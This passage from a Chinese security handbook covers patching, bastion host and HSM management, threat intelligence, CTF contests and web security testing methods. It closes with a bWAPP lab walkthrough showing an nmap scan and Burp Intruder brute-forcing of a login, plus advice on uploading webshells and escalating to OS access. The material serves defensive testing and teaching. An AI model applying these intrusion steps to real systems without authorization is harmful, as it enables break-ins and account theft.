2)办公、业务网的升级机制需要错开,比如办公网打补丁一周后再为业务网打补丁,防止出现可用 性问题。 3)有可用性要求的机器,在打补丁前做好意外情况下的准备工作,一旦有问题可以通过快照、快速 部署等方式恢复业务,这一点需要依赖企业可用性建设方面的能力。 4)不是所有补丁都需要打,优先处理安全类补丁,其他功能增强型的补丁可以不打。 5)重启才能生效的补丁遇到涉及可用性的机器,需要使用“灰度”策略,在其他安全控制措施有效的 情况下可以适当延后。 6)采用漏洞扫描的方式跟进补丁情况,需要由专人负责这方面的工作,针对长久未打补丁的需要有 相应的事件升级机制。 7)必要时可以借助外部力量来推动相关工作,比如请审计相关同事重点关注某些执行不到位的分支 机构或部门。 18.3.2 Linux Linux在安装软件的过程中涉及很多依赖性问题,所以一般正常情况下安装软件都是到yum源或apt源 上。在内网不方便访问互联网的情况下,一般企业都会搭建内部的yum或apt源,以供内部Linux机器使 用。在打补丁这个场合,也能用上。 一般来说,企业使用Linux更多是提供服务的,所以打补丁这事更加需要谨慎。使用yum update更新 时,一般不建议升级内核,因为升级内核可能会带来意想不到的一些问题,比如PHP应用无法使用、硬件 无法识别等,除非已经对升级内核进行了充分测试。升级内核后,要确保下次启动时使用新内核,默认 情况下新安装的内核会排在第一位,如无特殊要求不应该修改grub引导配置文件。 针对应用的补丁,也需要看漏洞是否真的有比较大的影响,如远程执行、本地提权等。原则上致命 级别的漏洞应该立即更新;对于bug修复类补丁,如果涉及的模块涉足BUG触发条件应及时更新,其他情 况则延后,比如一个月内更新;而功能增强型补丁则更延后,比如建议每6个月更新一次等。 当外界披露了某个应用存在高危漏洞,如果想快速修复漏洞,需要有个前提—如何确定哪些机器上 有相应的应用及受影响的版本。安全人员的第一反应是漏洞扫描发现,但有些漏洞仅靠扫描器是发现不 了的,所以这里往往又涉及企业资产管理或运维自动化方面的能力了。做得好的企业,会有一套系统用 于快速查询哪些服务器运行了哪些特定的软件,以及软件的版本号,最好还能执行一些简单的指令,比 如升级特定的软件,那打补丁就方便多了。 18.4 堡垒机管理 堡垒机的介绍与安全加固,已经在企业内网安全这一章(第13章)讲过了,本节主要针对企业实际 管理过程中的一些问题进行阐述。 1.用户与权限管理 堡垒机的用户一般分为:系统管理员、业务或开发人员、外包人员,以及值班或应急公用账号。不 同的用户,建议有不同的认证等级或启停控制,如表18-1所示。 表18-1 堡垒机用户认证等级与启停控制 用户认证通过后,所能登录的设备以及登录设备的用户权限也需要进行统一规划和管理,建议示例 如表18-2所示。 表18-2 堡垒机用户登录设备与权限控制 以上过程中涉及账号启停的,最好实现一键化、自动化,即ITIL提单审批后,账号自动开启;系统 管理员给外包人员开启账号时也是一键开启;给开发或业务人员授权的,也可以做成一键自动提权,否 则太繁琐了不太容易执行。 最后,人员变动特别是员工离职,除了进行账号与权限清理外,还需要有自动化的对比机制,比 如,账号每天自动与HR或AD等系统对比,若发现问题及时报警处置,防止因工作疏忽导致的离职员工账 号未清理类审计问题。 2.机器纳管与口令变更 一台机器,需要经过哪些流程才允许上线?上线前扫描、被堡垒机纳管、采集安全日志等都是必要 的。堡垒机纳管设备,除了登记IP、机器名、所属业务系统、负责人等之外,一般还要求上收用户账号 与口令。 口令上收后,可以实现自动登录,无须用户再输入账号密码了。堡垒机有了账号口令,便可以进行 自动化的口令变更,按照一定的规则生成复杂密码,然后定期修改口令。实际运维过程中,如果有因口 令变更失败而导致的纳管机器无法自动登录的情形,需要自动化的手段来发现以及重置,发现问题并不 难,重置密码则需要与自动化运维平台对接。 为了防止堡垒机出问题而无法登录,或者因堡垒机变更密码导致系统无法登录,一般都会保留一个 应急账号,密码保存在堡垒机里,当需要取出时提单申请打印密码信封即可。当有打印密码信封事件触 发时,安全人员会审核是否正常。 最后,所有设备的账号密码都保存在堡垒机系统里,堡垒机本身是否安全,密钥是否硬编码,都需 要考虑。有的产品为了安全性会引入加密机,那么加密机的管理也是一个需要关注的问题,我们将在18.5 节中讨论。 3.高可用架构与设计 正常的运维登录都通过堡垒机之后,堡垒机的安全性和可用性要求就变得非常苛刻了。安全性已经 在第13章中重点讲过了,这里讨论与可用性相关的内容。 一般堡垒机分为访问服务器和后台服务器,访问服务器主要负责将用户的登录请求转接到后台(比 如RDP和SSH),而后台服务器则保存用户权限、主机用户密码等相关信息。这两部分都需要做好高可用 架构设计。数据库的高可用(如Oracle的RAC,MySQL的主从复制读写分离等)都有成熟的技术,访问 服务器则可以借助类似F5或LVS的技术实现负载均衡,由于涉及会话连接等,需要注意会话保持相关的 设置。有些做得好的应用,甚至会将一些后台权限、设备口令等信息通过加密缓存到访问服务器上,这 样即使整个后台服务全挂了,也能让已有用户正常登录,只是新用户、新设备等无法管理。 4.应急通道与绕过发现 为了防止出现堡垒机彻底用不了的情况,企业一般都会保留应急通道,比如允许固定的机器访问固 定的管理服务器等。这里需要注意应急通道的演练。平常大家都习惯了堡垒机的使用,往往就会忽视所 谓的应急通道。建议的方法是,每月对一线员工进行不定期抽查,要求其模拟堡垒机无法使用的情况时 该如何处置,并签字确认归档。抽查应急通道的目的是:一方面督促大家学习;另一方面备案备查。 有的管理员会尝试绕过堡垒机,比如将RDP或SSH端口监听放在别的端口,这样在网络防火墙会存在 绕过的情况,绕过堡垒机就缺乏监管,管理员在目标机器上的操作也无法审计。针对这种情况,可以利 用下一代防火墙基于应用协议做规则,也可以使用事后监测手段。在终端上监测远程桌面、SecureCRT等 进程的网络访问情况,也可以在网络上使用异常访问检测系统监测触发RDP和SSH协议的目标端口是否为 正常端口,这些都是不错的思路。笔者在实际工作中就曾经发现一起外包人员私自将RDP端口修改为非 3389端口,在ECC电脑上直接远程桌面维护的情况。 18.5 加密机管理 通常我们把金融数据密码机简称为加密机,其应用场景如图18-5所示。 从图18-5可以看到,加密机的应用场景非常广泛。由于加密机往往涉及各种核心业务系统交易验证环 节,一旦出现可用性问题,影响的可能是全行业务,所以作为加密机管理员,可用性责任会比较重。随 着业务种类的变化,有的企业还会引入签名验签服务器以满足业务的需求,这里我们统称为广义上的“加 密机”。 图18-5 金融数据密码机应用场景图 18.5.1 选型 加密机的引入,需要一个选型测试的过程。建议加密机管理员在选型上做好工作,从源头上对加密 机厂商、型号进行控制,有利于日后的运维工作。选型标准或要求建议如下: ·对称类应用,首选A型加密机(每个企业基于自身使用现状进行选择,这里不做推荐)。 ·对非对称类应用,首选B型签名服务器。 ·如有项目需要与外联单位开展业务合作,而且对方要求指定型号的设备,需提供对方出具的正式文 件并经领导审批方可使用。 ·如有特殊应用需要使用与此标准不匹配的加密机,需要提供详细的测试对比数据,并经领导审批方 可使用。 18.5.2 高可用架构与监控 加密机虽然是安全设备,但日常工作大多是与可用性相关的,可以说基本上就是运维的工作。可用 性需要有合理的架构设计和配套的技术来保障。 1.架构 架构可以简单地理解为,设备部署在哪,应用怎么连接。 设置部署位置按业务的重要程度不同而不同,重要业务系统往往同时部署在多数据中心,那配套的 加密机也要与之相应。同一个数据中心,加密机要分布在不同楼层、不同网段,如果在同一个楼层,要 分开部署在不同的防火区。 应用连接基本分为应用直连、应用连接加密机池VIP两种模式;在连接方式上有长连接、短连接之 分。对于直连的应用,要求由应用实现负载均衡,即应用探测到某台加密机故障后需要在应用上进行隔 离,新的交易不再发往该加密机;对于由负载均衡提供VIP的方式,需要在负载均衡上进行应用级探测, 即模拟应用向加密机发送报文查看加密机状态,一旦加密机状态返回异常即进行隔离。 有的厂商提供了统一管理平台,相当于代理,即不同的业务系统都连接这个平台,再由这个平台将 请求向后端转发处理。建议适当评估,这样的方式虽然方便,但存在风险集中的隐患。 2.监控 对设备的可用性进行监控,一般有Ping探测、TCP端口探测、应用层探测。对于加密机这种特殊设 备,建议要深入到应用层进行监测,图18-6为某可用性监控软件探测指令截图。 图18-6 加密机指令探测 除了基于设备的探测外,还需要从网络流量、业务交易量的视角对设备进行监控。比如短连接的业 务,在F5上看当前连接数应该很少,甚至是0,某业务上线后发现这个数字变多了,那么估计是有问题 的,多半是开发写的代码有问题,比如新建了连接却没有主动释放。再比如,业务都有高峰低谷,可以 结合历史交易进行一些上下限阈值设定,对请求数、响应率、响应时间、成功率等进行监控,当有偏离 时可以作为辅助判断。当然实际生产上突破阈值可能有其他原因,比如暴雨天气导致某分行ATM交易量 下降,支付宝切量导致网联交易量下降等。 18.5.3 应用梳理 对于已经在线上运营的业务,如果选型这一关没有把控好,还需要开展全面梳理工作,主要包括设 备机架位置、IP、白名单、品牌、版本,还有应用的连接情况(直连、负载均衡)、对应的业务相关的 联系人(系统管理员、加密机管理员、开发人员、业务条线对口人员)等。对于不同型号的加密机,还 有一些与该品牌相关的特性信息需要单独补充说明。以某品牌加密机为例,补充说明如表18-3所示。 表18-3 某加密机的特性信息说明 再以某品牌签名服务器为例,补充说明如表18-4所示。 表18-4 某签名服务器的特性信息说明 18.5.4 上下线与应急 上线和下线是相对比较基础的工作,需要注意的是加密机管理员和密钥管理员须严格区分。很多业 务往往是上线容易下线难,这就需要各种沟通协调工作了,同时还需要配合技术上的监控。比如,某开 发组说应用不再连这个加密机了,管理员在下线前还需要确认是否除了监控探测外,真的没有流量再访 问该加密机,否则可能会出现可用性事件。下线的设备可能还要走相应的报废流程,一定要对密钥进行 销毁。 可用性架构做得好的企业,单台加密机出故障不会使业务受影响。基本的应急操作都是重启,有些 时候担心重启过程有影响,可以在F5上将设备Disable或者机房拔掉网线,重启确认没问题再插上。 18.6 情报利用 威胁情报近几年很火,国外有不少开源的威胁情报源可供使用,国内也有少数企业从事这个领域的 工作,比如微步在线、天际友盟等。具体使用方面各家基本都差不多,都是申请API Key,然后调用相关 API即可。涉及文件上传的则POST数据,如果只是查询某个MD5、IP、域名则更简单,有些场合可能没 集成的则需要手工查询。情报落地需要有针对性的应用场景,脱离场景谈情报都是空谈。 1.简单查询 企业通过构建各种安全系统,收集了一些可执行文件的哈希值、DNS记录中的域名、网络访问中的 IP等,如果需要做进一步判断,可以通过情报系统查询即可。 举个例子,分析IIS日志想找出异常,可以基于很多维度,包括返回码、UA、请求页面、发送字节数 与返回字节数、来源IP、访问时间等;而来源IP以往我们都根据IP所在地址,有了情报后还可以看这个IP 是否为SPAM、僵尸主机等信息。 再举个例子,Sysmon采集了系统上进程创建的事件,包含进程文件的SHA1和MD5值,企业可以将这 些信息汇总,建立自己的可执行文件MD5库,结合外部情报去看这些MD5是否有问题。笔者所在企业通 过定制开发程序实现了可执行文件的采集工作,包括文件名、文件路径、哈希值、公司、签名、大小等 信息,再对接外部多家情报系统查询结果进行判定,将可执行文件标记为可信、可疑、高危、未知等类 型。程序上线初期就发现不少情报标识为高危的文件,但防病毒查杀不了,提交样本给防病毒厂商分 析,更新病毒定义后才可以查杀。这也算是一个利用场景吧。 2.文件提交分析 遇到可疑文件,除了丢到本地沙箱进行分析外,还可以提交到情报系统中进行分析,结合情报系统 上的多杀毒引擎一般可以很快得到结论。笔者前面在第16章中提到邮件附件经过沙箱后,如果判定为可 疑则会自动提交到外部情报系统,即是一个使用场景。 3.内部情报系统建设 有些信息是企业内部通过日常积累发现的,若不想全部提交到外网或者提交不方便,可以考虑在企 业内部建设情报平台。比如,前面说的可执行文件MD5库,即利用了多家情报的结果按自己的规则评 分,并结合企业内部的实际需求(有些是企业内部程序,手工标识为可信),就可以创建一个系统供其 他应用来查询使用。商业公司也有相应的方案,即在企业内网部署一套情报系统,此处不再赘述。 18.7 网络攻防大赛与CTF 2018年7月,银保监会发了一个《关于银行保险业网络安全攻防比赛的通知》,要求各机构积极报名 参赛。其实在此之前,一些地方银监局就已经在组织类似的比赛了。此类比赛,在业内有更专业的名词 —夺旗赛,我们下面进行阐述。 1.概述 夺旗赛(Capture The Flag,CTF),在网络安全领域中指的是网络安全技术人员之间进行技术竞技的 一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行 技术比拼的方式。CTF为团队赛,通常以三人为限,要想在比赛中取得胜利,团队中每个人在各种类别的 题目中至少要精通一类,三人优势互补,取得团队的胜利。 2.赛事介绍 CTF的大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环 境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称 呼,我们把这样的内容称为“Flag”。 CTF竞赛模式具体分为以下三类: ·解题模式(Jeopardy)。在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与竞赛, 与ACM编程竞赛、信息学奥赛比较类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于 在线选拔赛。题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。 ·攻防模式(Attack-Defense)。在攻防模式CTF赛制中,参赛队伍在网络空间互相进行攻击和防守, 通过挖掘网络服务漏洞并攻击对手服务来得分,修补自身服务漏洞进行防御来避免丢分。攻防模式CTF赛 制可以实时通过得分反映比赛情况,最终也以得分直接分出胜负,是一种竞争激烈、具有很强观赏性和 高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛 一般都会持续48小时以上),同时也比团队之间的分工配合与合作。 ·混合模式(Mix)。结合了解题模式与攻防模式的CTF赛制,比如参赛队伍通过解题可以获取一些初 始分数,然后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负。采用混合模式CTF赛制 的典型代表如iCTF国际CTF竞赛。 3.题目类别 (1)Reverse 题目涉及软件逆向、破解技术等,要求选手有较强的反汇编、反编译功底。主要考查参赛选手的逆 向分析能力。 所需知识:汇编语言、加密与解密、常见反编译工具。 (2)Pwn Pwn在黑客俚语中代表着攻破、获取权限;在CTF比赛中它代表着溢出类的题目,其中常见溢出漏洞 类型有整数溢出、栈溢出、堆溢出等。主要考查参赛选手对漏洞的利用能力。 所需知识:C,OD+IDA,数据结构,操作系统。 (3)Web Web是CTF的主要题型,题目涉及许多常见的Web漏洞,如XSS、文件包含、代码执行、上传漏洞、 SQL注入等。也有一些简单的关于网络基础知识的题目,如返回包、TCP/IP、数据包内容和构造。可以 说题目环境比较接近真实环境。 所需知识:PHP、Python、TCP/IP、SQL。 (4)Crypto 题目涉及各种加解密技术,包括古典加密技术、现代加密技术,甚至出题者自创加密技术,以及一 些常见编码解码,主要考查参赛选手密码学相关知识点。通常也会和其他题目相结合。 所需知识:矩阵、数论、密码学。 (5)Misc Misc即安全杂项,题目涉及隐写技术、流量分析、电子取证、人肉搜索、数据分析、大数据统计 等,覆盖面比较广,主要考查参赛选手的各种基础综合知识。 所需知识:常见隐写术工具、Wireshark等流量审查工具、编码知识。 (6)Mobile 主要分为Android和iOS两个平台,以Android逆向为主,选手破解APK并提交正确答案。 所需知识:Java、Android开发、常见工具。 4.一些经验 (1)选人与分工 企业的安全人员(尤其在甲方)往往身兼数职,久而久之容易出现技能退化的情况。要参加比赛, 首先得选好人,结合比赛涉及的知识点以及团队成员技能情况报名。考虑到以后CTF比赛可能是常态,所 以招人时可以优先考虑有参加CTF比赛获奖的应聘者。有的企业可能安全人员才1~2人,这时候可以适当 借助其他兄弟部门的力量(比如开发人员)参与。 既然是团队参加比赛,肯定涉及合作与分工。市面上招聘安全人员,普遍发现从事Web渗透的居 多,从事二进制的偏少,因为二进制学习成本更高,难度更大,所以如果有二进制人才一定要拉进来。 (2)准备好工具 前面分析了题目类别及所需要的知识点,建议收集一些常用的工具或脚本,虽然在比赛现场手写代 码让人觉得很厉害,但时间有限,还是要多做准备工作,图18-7为笔者收集的工具截图。 有了工具,还要会用,多用不同的工具,看哪些功能顺手,哪些需要配合使用。比如,同样是二进 制工具,010Editor就比WinHex方便很多;再比如,同样是看数据包的工具,Wireshark支持的格式丰富, 但NetworkMiner可以方便地看数据包里文件、参数等。 (3)适当练习 网上有很多CTF训练平台,建议参赛队伍先进行练习,看看各类题目到底是怎么样的,有哪些套路在 里面。可能知识点选手们都掌握了,但还是没找到Flag,这时候可以换个思路,或者跟大家交流讨论。因 为这里涉及很多实操部分,不容易总结成文字,下面举个例子说明一下。 某APK里找Flag,常规套路是先用dex2jar转换为jar,然后用JD-GUI工具打开看代码,搜索Flag,key 等关键字找,找不到就慢慢看代码,如图18-8所示。 图18-7 CTF工具集 图18-8 CTF找Flag举例 有的人可能还想看其算法实现,但有的人可能看到这个base64编码顺手反解一下就得到Flag了,这就 是我们所说的套路或经验,多交流会有帮助。 18.8 小结 本章主要对DDoS攻击、勒索软件、补丁、堡垒机、加密机、情报、CTF等内容进行了介绍,这些都 是安全热点问题。企业要结合自身情况选择相应的方案。DDos攻防终究是双方资源的比拼,缺乏专业人 员的情况下有必要借助外部力量并建立起一套机制;而在企业中防病毒、准入、补丁等基础工作也会花 费大量精力,有条件的企业可以适当将一些工作外包出去并进行考核管理,比如桌面管理类工作也是一 个可行的办法;加密机更多用于运维场景,小心谨慎是上策;情报利用要匹配场景,尽可能地自动化将 是未来的一个基本趋势;CTF比赛从某种意义上是企业安全对抗能力的一种体现,有条件的企业可以适当 参与。 第19章 安全检测 近几年,互联网信息安全事件受到空前的关注,越来越多的金融企业开始意识到信息安全的重要 性,并加大了各方面的投入,引入各种安全防护手段,其中安全检测是重要的事前防护手段之一。通过 这种手段可以帮助企业在系统上线前尽量发现安全漏洞并进行修补,有效地降低因安全漏洞产生的风 险。本章介绍安全检测技术、检测方式和思路,并介绍了常见检测案例。 19.1 安全检测方法 安全检测方法主要包括黑盒检测和白盒检测两种类型,下面简单介绍这两种方法。 1.黑盒检测 黑盒检测是指将程序看作一个不能打开的黑盒子,在完全不考虑程序内部结构和内部特性的情况 下,模拟合法用户使用应用程序,检测应用程序功能是否能适当地接收和正确地输出,以发现存在的安 全漏洞。 黑盒检测通常按照攻击者的思路进行测试,达到准确性与全面性。要做好黑盒检测,需要考虑以下 几个方面: ·对应用系统的熟悉程度。检测之前,对应用系统进行跟踪了解,包括涉及的所有功能、与其他系统 的调用关系、接口开放情况、系统架构等。 ·全面的安全技术知识。因为应用系统功能的不同,所对应的应用范围也不同,有的系统涉及商城, 就要了解商城系统中可能会出现的相关安全问题;有的应用系统用到HTML5相关技术,需要了解HTML5 有关的安全问题。安全人员需要掌握全面的安全技术知识,才能对每个项目进行检测。 ·漏洞挖掘能力和实战技能。安全检测人员需要较强的漏洞挖掘能力和漏洞感知能力,同时具备实战 技能,对单个功能上发现的漏洞,能推断其他功能也是否会出现类似问题。 ·安全测试标准。一般参考OWASP测试指南结合实战经验中的测试点,总结出安全检测标准文档,对 所有可能产生影响的安全漏洞进行汇总,并详细描述检测的方法、步骤、可能用到的工具等,对项目的 所有漏洞进行检测,并严格按照规定的方法进行测试。 ·测试人员素质。测试功能时,需要有足够的耐心和细心,如前端发现的密钥利用、未开放的功能接 口和参数、暴力破解时的字典规则、加密请求包的解密、过滤规则的绕过等,均需要测试人员有足够的 耐心和细心。 ·发散性思维。从多个角度去思考一个问题,以寻求得到多种假设、观点或者答案。例如,在实际案 例中可以思考,是否可以通过其他方式获取用户的密码作为突破口?类似的功能是不是在其他系统中也 用到过?诸如此类。 2.白盒检测 白盒检测是指检测人员在掌握系统源代码、系统业务逻辑等信息的情况下,检查程序源代码是否存 在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行 检查和分析,发现源代码缺陷引发的安全漏洞。白盒测试的测试方法包括代码检查法、静态结构分析 法、静态质量度量法、逻辑覆盖法、基本路径测试法、域测试、符号测试、路径覆盖、程序变异等。 3.两种检测方法的比较 网上经常有关于两种检测方法优缺点的讨论,以及关于哪种检测方法技术含量更高、效率更高、覆 盖更全的争论。笔者认为,两种检测方法的优缺点如下: ·黑盒检测只有通过外部探测的方式发现安全漏洞,检测的成本比较高,而且不能对系统检测全面覆 盖,但能发现一些业务逻辑、隐藏性高的安全漏洞。 ·白盒检测能够更全面地覆盖整个系统,可以推动建立安全开发规范,减少后期人力成本,对于业务 逻辑和封装后的模块等检测漏洞的难度较大。相比黑盒检测,覆盖的检测范围更全面,但是误报率比较 高。 总体来说,两种检测方式各有优缺点,没必要一定分个高下,在日常安全检测中,金融企业一般通 过两种方式配合使用来弥补各自的缺陷。 19.2 检测工具 常用的安全检测工具包括Burpsuite、AWVS、Appscan、Sqlmap、Nmap等,下面简单介绍一下。 1.Burpsuite Burpsuite是一个集成化的Web渗透测试工具,它集合了多种渗透测试组件,方便自动化和手工完成对 Web应用的渗透测试和攻击。该工具由Java语言开发,支持跨平台,方便检测人员使用。主要组件模块包 括:Proxy、Spider、Scanner、Repeter、Intruder、Sequecer、Decoder、Comparer。 2.AWVS AWVS(Acunetix Web Vulnerability Scanner)是一款知名的网络漏洞扫描工具,通过网络爬虫测试网 站安全,检测流行安全漏洞,是一款自动化的Web应用程序安全测试工具。AWVS可以快速扫描跨站脚本 攻击(XSS)、SQL注入、XML注入、源代码泄露、目录遍历、代码执行、URL重定向、应用程序报错 等。 3.AppScan AppScan是IBM公司出品的一款针对Web应用程序的安全测试工具,可以自动化地评估Web应用的安 全漏洞,能扫描和检测所有常见的Web应用安全漏洞,例如SQL注入、跨站点脚本攻击、文件遍历攻击、 XML注入、Struts2远程代码执行漏洞等。利用爬虫技术对站点结构进行爬取,根据网站入口自动抓取网 页链接进行安全扫描,提供扫描、报告和修复建议等功能。 4.Sqlmap Sqlmap是一款开源渗透测试工具,可自动检测和利用SQL注入漏洞,如数据库指纹、访问底层文件 系统、执行命令,是安全检测人员经常使用的一款工具。支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server等多种数据库管理系统。支持五种SQL注入技术:基于布尔的盲注、基于时间的盲注、基于报 错的注入、基于联合查询注入、基于堆栈查询注入。主要功能包括支持直接连接数据库而不通过SQL注 入,通过提供DBMS凭证、IP地址、端口和数据库名称直连数据库。 5.Nmap Nmap是一款不局限于信息收集和枚举功能,可以用来作为漏洞探测器或安全扫描器的工具,适用于 Winodws、Linux、Mac等操作系统。Nmap是一款非常强大的实用工具,主要功能有:检测活在网络上的 主机(主机发现),检测主机上开放的端口(端口发现或枚举),检测到相应的端口(服务发现)的软 件和版本,检测操作系统,硬件地址,以及软件版本,检测脆弱性的漏洞(Nmap的脚本)。 上面介绍了一些工具情况,实际工作中通常会使用多个漏洞扫描工具进行交叉性的扫描,条件允许 的情况下,可加入自研漏洞扫描工具等进行安全检测。 19.3 安全检测思路和流程 黑盒检测是模拟用户的操作来检测一些常规性和业务性安全等漏洞。因为考虑到效率,黑盒检测一 般会涉及信息收集、自动化漏洞扫描、人工介入验证和检测、编写报告几个阶段。使用漏洞扫描工具目 的是为了减少对一些常规性漏洞的人工检测,达到事半功倍的效果,弥补人工检测时忽视的检测点,同 时让检测人员把更多精力集中在专向安全检测上。 安全检测的思路和流程大致有几步,下面分别介绍。 1.信息收集 信息收集是通过各种方式获取系统相关联的所有信息,主要针对上线系统相关的信息收集,包括目 标系统开放端口服务、用户名密码字典、系统开发商、软件架构、历史相关漏洞、搜索引擎检索、源代 码泄露、目录结构等,可以通过定制化的自动化脚本进行收集。 信息收集是整个安全检测阶段最重要的部分之一,基本覆盖安全检测各个阶段,包括前期基本的信 息收集,IP端口服务和操作系统类型、系统架构、指纹等。检测期间,操作业务功能和观察系统特征 时,可以收集到很多显现的信息或更深层的信息,如系统关键词、第三方插件、供应商、URL特征、加 密算法、技术架构、系统业务功能、系统关联、容易出现安全问题的功能点等。然后需要对所有收集的 信息做关联分析,提取出关键信息,做分类处理,分成当前检测可以使用的,后期检测时可能用到的。 最后进行总体安全评估,以防有遗漏的检查项。 以下是信息收集的关键点: ·系统技术,如开发语言、中间件、系统框架、第三方组件、版本号。 ·公开的远程高危漏洞,如WebLogic、JBoss、反序列化漏洞。 ·供应商信息,如开发架构、历史漏洞、泄露的源代码、其他同行也在使用的类似系统。 ·系统业务,调用关系,如开放的功能接口。 ·未知的功能接口参数,通过前端js文件查找或有规律的接口名和参数构造等。 ·系统PC端、APP端、微信端、H5。 ·系统特征,如URL或文件中。 ·开发人员代码习惯,如代码注释,Console日志。 ·源代码泄露,如GitHub、百度云、QQ群。 ·测试环境在暴露在公网,如开放了其他可直接入侵的服务端口,拿到更多源代码和系统架构。 ·用户名、密钥信息。 2.自动化漏洞扫描 通常采用一些自动化漏洞扫描工具,对目标系统进行扫描,可以达到事半功倍的效果,减少常规性 漏洞检测的成本。安全检测人员可以把更多精力放在漏洞验证和专向安全检测上,同时可以根据漏洞扫 描结果初步判断当前系统安全状况,对扫描结果进行深入的分析和判断,扫描器无法发现的隐藏较深的 安全问题进行手工检查和测试,如业务逻辑漏洞检测等。 3.关键功能收集 在使用系统时,可以初步确定出系统的应用类型,如交易类系统、商城类系统、再针对性地梳理出 关键功能,如涉及用户资料信息、用户认证、密码找回、用户交互、支付功能、文件上传、文件下载、 XML传输、API接口、礼品或优惠券、第三方系统交互处、业务逻辑等。在人工介入验证和检测阶段进行 专向安全检测。 4.人工介入验证和检测 本阶段主要是用人工方式进行漏洞验证和专向安全检测。当漏洞扫描结束后,某些漏洞需要人工介 入验证。专向安全检测一般使用Burpsuite结合人工(安全检测清单,Owasp)进行检测。可利用的漏洞出 现时,需要更多人工介入。当发现远程代码执行、SQL注入、XSS漏洞、XXE攻击、任意文件下载和读 取、弱口令、命令执行、敏感性文件下载漏洞时,可以通过单点突破或组合漏洞利用的方式,扩大安全 检测面,发现更多未知的安全漏洞。 5.编写报告 最后是编写安全检测报告,包括安全检测发现的问题,以及漏洞修复建议等。 6.小总结和改进 上面描述的都是常规步骤,更多时候还需要艺术性发散思维,技能性的东西均容易习得,因为它是 有边界的。发散思维会让人不仅仅局限于已知的技术层面,而是根据实际场景构造出特殊的检测路径。 如果在实施安全检测前,先弄清楚一些关键性的东西,在脑海中勾画出可能会有哪些风险,并划分优先 级,一一排查和检测,会取得意想不到的效果。 安全检测中的发散思维点如下: ·实现自动化方式,达到事半功倍的效果。 ·梳理可能存在严重安全隐患和敏感信息泄露的功能接口。 ·对可能存在漏洞的功能接口梳理,结合已知的漏洞的数据,建立检测威胁模型,可以减少多余不必 要的安全检测项,提升效率,减少测试时的焦虑。 ·引入日志和流量镜像、埋点等方式,可以对检测中不可达或遗漏的链接进行更深层次的检测。 ·引入机器学习,收集所有功能点和参数值,对首次检测到功能点的漏洞进行分析和预测要在其他功 能点上进行排查,是否存在类似漏洞,并做针对性的扫描检测。根据功能点的特征,进行人工专向检 测,如文件上传、任意文件下、XML实体注入等。 笔者在实际工作中遇到过,某个参数名第一次发现存在SQL盲注,但没有结合其他方式去排查参数 名在其他功能上是否也存在漏洞,导致存在的同一漏洞没有及时发现。如果一开始收集到了这个参数名 的特征,就不会有遗漏。 19.4 安全检测案例 安全检测的通常路径是通过信息收集寻找一些明显的特征,先探测是否有远程代码执行、任意文件 上传、SQL注入权限高等可直接利用的高危漏洞,如果有的话直接上传WebShell到网站目录中,进一步获 取系统权限,对检测的目标进行黑白盒检测,发现更多安全性漏洞;如果没有直接远程利用漏洞,再找 找任意文件下载、越权漏洞、业务逻辑、弱口令等漏洞进行组合式攻击,如通过任意文件下载漏洞获取 到数据库连接账号和密码,由于权限较高,可以利用数据库获取操作系统权限。然后通过Web自动化漏 洞扫描工具对系统常规性漏洞扫描,在操作系统业务功能时,收集一些关键业务功能,如涉及敏感信 息、密码重置、支付功能、账户爆破等功能,再进行专向安全检测,最后对安全检测项检查清单过一 遍,主要参考OWASP检测清单。 本节结合bWAPP Web漏洞靶机测试案例,介绍安全检测过程。 19.4.1 收集信息 使用Nmap工具对目标IP进行探测扫描,发现端口服务开放、操作系统类型等信息情况,如下所示获 取到目标操作系统为Windows,开放了80,3306,3389,139等端口,根据返回的信息,初步可以确认架 构为Windows+Apache+MySQL+PHP。 扫描命令:nmap -sS -Pn -sV -O 192.168.204.166,扫描结果如下所示: 使用AWVS、Netsparker Web自动化漏洞扫描工具对常规Wb漏洞扫描,如图19-1所示。 图19-1 对常规Web漏洞扫描 人工验证漏洞,采用Burpsuite工具对一些关键性功能,如登录功能、支付功能、用户敏感信息功 能、XML传输功能等进行专向安全检测。 19.4.2 暴力破解 暴力破解攻击是指攻击者通过系统地组合并尝试所有的可能性,以破解用户的用户名、密码等敏感 信息。攻击者往往借助自动化脚本工具来发动暴力破解攻击。 常见的漏洞点有:暴破用户名和密码、撞用户弱密码、图形验证码失效、图形验证码可识别、图形 验证码回显、前端用户名或密码加密等情况。 下面例子可以直接暴破,目标地址为http://192.168.204.166/bWAPP/login.php,采用Burpsuite的 Intruder模块对认证接口暴力破解,如图19-2所示。 图19-2 待暴力破解页面 1)通过Burpsuite工具的Proxy模块,对登录页面的HTTP请求包拦截,并发送至Intruder模块,如图19- 3所示。 图19-3 对登录页面的HTTP请求包拦截 2)在默认标签Postions中选择Cluster bomp攻击类型,对login和password值选择,并分别点击add$作 为遍历的变量,后再选择Payloads标签,如图19-4所示。 3)在Payload Sets→Payload set选择2,在Payload type中选择Runtime File,并在Payload Options中选择 对应的用户名和密码字典文件,同时根据实际情况可以设置线程数,如图19-5所示。 最后选择Payloads标签栏中右上角的Start attack按钮,进入Intruder attack框中,如图19-6所示。 跑完请求后,再根据返回的信息进行过滤,这里先把返回200状态的过滤掉如图19-7所示,发现用户 名和密码,如图19-8所示。 用户名为bee,密码为bug,然后使用爆破得到的用户名密码登录,进入管理页面。 图19-4 选择攻击类型 图19-5 用户名和密码字典文件选择 图19-6 Intruder attack框 图19-6 (续) 图19-7 筛选信息 实际测试过程中会遇到目标系统使用了用户名或密码、用户名和密码组合加密、HTTP包体加密采用 了AES、DES加密等情况。用Burpsuite的Intruder模块和其他暴破工具,无法直接进行暴力破解,需要间 接加密处理后才能暴力破解。笔者采用了Python脚本的多种方式来解决。如下案例,HTTP的包体部分做 了AES加密,需要暴力破解验证测试,笔者在实际案例采用的几种方式: 图19-8 用户名、密码 ·使用Seleium自动化测试工具模拟表单暴破。 